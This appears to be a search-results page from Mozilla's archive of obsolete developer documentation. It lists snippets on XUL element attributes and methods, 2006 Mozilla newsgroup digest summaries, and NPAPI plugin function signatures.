a action arrowscrollbox b bbox binding bindings box broadcaster broadcasterset button browser c checkbox caption colorpicker column columns commandset command conditions content d deck description dialog dialogheader e editor grid grippy groupbox h hbox i iframe image k key keyset l label listbox listcell listcol listcols listhead listheader listitem m member menu menubar menuitem menulist menupopup menuseparator o observes overlay p page popup popupset preference preferences prefpane prefwindow progressmeter r radio radiogroup resizer richlistbox richlistitem resizer row rows rule s script scrollbar scrollbox scrollcor...
...ner separator spacer splitter stack statusbar statusbarpanel stringbundle stringbundleset t tab tabbrowser tabbox tabpanel tabpanels tabs template textnode textbox titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow treeseparator triple v vbox w window wizard wizardpage ...
listcol - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
menubar - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements menu, menuitem, menulist, menupopup, menuseparator interfaces nsiaccessibleprovider ...
page - Archive of obsolete content
ArchiveMozillaXULpage
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
popupset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements popup, menupopup ...
queryset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollcorner - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
spacer - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
statusbar - Archive of obsolete content
xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundleset - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
tabpanel - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tabbox, tabs, tab, tabpanels.
template - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
textnode - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbaritem - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarspacer - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
treecols - Archive of obsolete content
bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecol, treechildren, treeitem, treerow, treecell and treeseparator.
Opening a Link in the Default Browser - Archive of obsolete content
this will often be an http or https uri, but can use any scheme for which an external handler exists.
...to suppress this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser schemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists.
Mozprocess - Archive of obsolete content
mozprocess aims to provide the ability to robustly terminate a process (by timeout or otherwise), along with any child processes, on windows, os x, and linux.
...processhandler utilizes a contained subclass of subprocess.popen, process, which does the brunt of the process management.
Format - Archive of obsolete content
firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feedback requested rachel werner (mozilla corp marketing intern) requested feedback on a proposed user survey.
... meetings mozilla project weekly status meeting - 2006/07/24 1:00p pdt (last meeting notes) firefox 2 (bon echo) status meeting - 2006/07/25 11:00a pdt (last meeting notes) firefox 3 (gran paradiso) status meeting - 2006/07/26 11:00a pdt ...
2006-10-06 - Archive of obsolete content
discussions w3c sets road map for web app accessibility the w3c introduced its wai-aria (web accessibility initiative for accessible rich internet applications) roadmap--a set of guidelines for developers to make accessible web content.
...other links of interest: roadmap for accessible rich internet applications (wai-aria roadmap) roles for accessible rich internet applications (wai-aria roles) states and properties module for accessible rich internet applications (wai-aria states and properties) making ajax work with screen readers meetings accessibility hackfest 2006 - october 10-12 in cambridge, ma (more details) participants include the mozilla foundation, ibm, sun and novell to name a few.
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 7-13, 2006 announcements updated: thunderbird developer documentation eric shepherd has put together a checklist for the upcoming thunderbird developer documentation and is looking for feedback as well as contributors.
... discussions shared training.dat & message filters jon-mikel is looking for suggestions on sharing spam filter data and message filters between machines easily.
2006-11-03 - Archive of obsolete content
tb storage-idea tb is planning to change from mbox-format storage to database-based storage.
... meetings calendar project weekly status meeting - 2006/11/01 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 utc (meeting notes) ...
2006-11-10 - Archive of obsolete content
discussions violation of smtp protocol in thunderbird hector reports two bugs: thunderbird ignores the smtp protocol state machine by ignoring the 501 response codes.
... meetings calendar project weekly status meeting - 2006/11/08 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/09 16:30 utc (meeting notes) ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.builds - september 22nd to 29th 2006 .mar packages peter weilbacher posted a question and asked: how does one go about creating a .mar package that can be used in updating firefox and thunderbird?
... he has already tried archiving the changed files but unfortunately this does not work with a static build because the .exe files change every time.
2006-10-06 - Archive of obsolete content
test resumt will be found here another lightning localization update with some bad news difference has been located between sunbird_0_3_branch (for sunbird 0.3) and mozilla_1_8_branch.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.l10n - november 24, 2006 announcements thunderbird 2 release schedule for localizations beta 1 freeze for thunderbird 2 is scheduled on december 4th (en-us only).
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(vipers101) ...
2006-07-17 - Archive of obsolete content
firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feedback requested rachel werner (mozilla corp marketing intern) requested feedback on a proposed user survey.
... meetings mozilla project weekly status meeting - 2006/07/24 1:00p pdt (last meeting notes) firefox 2 (bon echo) status meeting - 2006/07/25 11:00a pdt (last meeting notes) firefox 3 (gran paradiso) status meeting - 2006/07/26 11:00a pdt ...
2006-10-20 - Archive of obsolete content
announcements mozilla scheduled downtime - 10/17/2006, 7pm - 10pm pdt (0200 - 0500 utc) scheduled downtime for upgrades and migration.
... meetings bon echo status meeting bon echo status meeting: october 17th, 2006 **at noon pdt**.
2006-11-17 - Archive of obsolete content
however he found out that it was a result of his flat-chrome version of xul widgets and works fine with the jarred-chrome version.
...nickolay ponomarev lets us know that processing instructions are now added to xul document's dom this also means, you can no longer use document.firstchild in xul scripts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x?
2006-10-20 - Archive of obsolete content
if your theme is chosen you will be placed on the hall of fame and will receive a gift from mozilla.
...meet in irc chat room #testday on friday october 20, 2006 7am-5pm pacific time.
2006-11-03 - Archive of obsolete content
announcements developer chat with javascript developer brendan eich on tuesday, november 7th at 10am pst (utc-8) brendan eich and some special guests will be hosting a developer chat about new technologies comming to mozilla 2.
... the event will be held on the irc server irc.mozilla.org in the channel #javascript.
2006-11-17 - Archive of obsolete content
announcements relicensing rhino to mpl rhino has been released under mpl/gpl license which makes it possible to distribute third party software with apache.
... special characters inquiry of how to use special characters in spidermonkey.
2006-11-24 - Archive of obsolete content
discussions java versus tamarin discussion about possibility of implementing java technology in mozilla products.
... frank hecker writes: the possibility of having a gpl-only mozilla code would cause problems such as people who want to distribute mozilla based products with: non-gpl compatible extensions free proprietary extensions such as flash player using trademarks such as logos ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.layout - october 21 - october 27, 2006 announcements none this week.
... discussions removal of the nn4.6 table border color quirk discussion on removing the nn 4.6 table boarder color quirk, which currently causes a specific markup to produce a green boarder instead of a gray one.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 4 - november 10, 2006 announcements none this week.
... block images discussion on how where to change source code so that images could be blocked in mozilla.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 17 - november 24, 2006 announcements none this week.
... discussions backed out view manager hierarchy unification discussion aboutthe view manager hierarchy unification and the problems with tp regressions that occuring whenever update batching interacts it.
2006-09-22 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - sept 22-29, 2006 announcements none during this week.
... xpidl.exe crashes on windows problem with creating header files from idl's in 1.8 branch due to wrong compiler.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 21-27, 2006 announcements none during this week.
... discussions evalinsandbox and xmlhttprequest a discussion about writing something that calls a function defined by the page that the user is currently on chrome files and last modified date ways to retrieve the last modified date of a chrome file that may be in a jar or on the file system.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - oct 04-nov 10, 2006 announcements xptcall changes in process - ports owners needed if you maintain an xptcall port, you are needed to submit a patch to that bug 349002 with xptcall updates.
... discussions developing an extension like xmlhttprequest / nsidocument / mozilla_internal_api a discussion on how to develop an extension similar to xmlhttprequest but for a different protocol than http, emulating the asynchronous aspect.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.tech.xpcom - nov 18-nov 24, 2006 announcements none during this week.
... discussions tutorials: non c++ bindings for xpcom tutorials on how to interface with firefox using xpcom on a similar basis to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
2006-11-03 - Archive of obsolete content
last check-ins on sun-calendar-event-dialog.* files discussions about some localization issues with sun-calendar-event-dialog.
... meetings no meetings were scheduled this week.
NPN_Enumerate - Archive of obsolete content
syntax #include <npruntime.h> bool npn_enumerate(npp npp, npobject *npobj, npidentifier **identifiers, uint32_t *identifiercount); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
... npobj the object of which the properties and methods are to be retrieved.
NPN_GetProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_getproperty(npp npp, npobject *npobj, npidentifier propertyname, npvariant *result); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance's is making the request.
... <tt>npobj</tt> the object from which a value is to be retrieved.
NPN_GetStringIdentifiers - Archive of obsolete content
syntax #include <npruntime.h> void npn_getstringidentifiers(const nputf8 **names, int32_t namecount, npidentifier *identifiers); parameters the function has the following parameters: names an array of strings for which opaque identifiers should be returned.
... returns on return, the identifiers array is filled out with the identifiers for each of the strings in the names array.
NPN_HasMethod - Archive of obsolete content
syntax #include <npruntime.h> bool npn_hasmethod(npp npp, npobject *npobj, npidentifier methodname); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
... npobj the object on which to look for the method.
NPN_HasProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_hasproperty(npp npp, npobject *npobj, npidentifier propertyname); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance is making the request.
... <tt>npobj</tt> the object on which to look for the property.
NPN_Invoke - Archive of obsolete content
syntax #include <npruntime.h> bool npn_invoke(npp npp, npobject *npobj, npidentifier methodname, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the method on the object.
... npobj the object on which to invoke a method.
NPN_InvokeDefault - Archive of obsolete content
syntax #include <npruntime.h> bool npn_invokedefault(npp npp, npobject *npobj, const npvariant *args, uint32_t argcount, npvariant *result); parameters the function has the following parameters: npp the npp indicating which plugin wants to call the default method on the object.
... npobj the object on which to invoke the default method.
NPN_MemFlush - Archive of obsolete content
to request that the browser free as much memory as possible, call npn_memflush() repeatedly until it returns 0.
...in general, plug-ins should use npn_memalloc() to allocate memory in the browser's memory space, since this function automatically frees cached data if necessary to fulfill the request.
NPN_RemoveProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_removeproperty(npp npp, npobject *npobj, npidentifier propertyname); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
... npobj the object on which a property is to be deleted.
NPN_SetProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_setproperty(npp npp, npobject *npobj, npidentifier propertyname, const npvariant *value); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance's is making the request.
... <tt>npobj</tt> the object on which a value is to be set.
NPObject - Archive of obsolete content
the browsers are expected to expose their window objects and everything reachable from it through this api.
... syntax struct npobject { npclass *_class; uint32_t referencecount; /* * additional space may be allocated here by types of npobjects */ }; fields _class a pointer to the npclass of which the object is a member.
NPP_GetValue - Archive of obsolete content
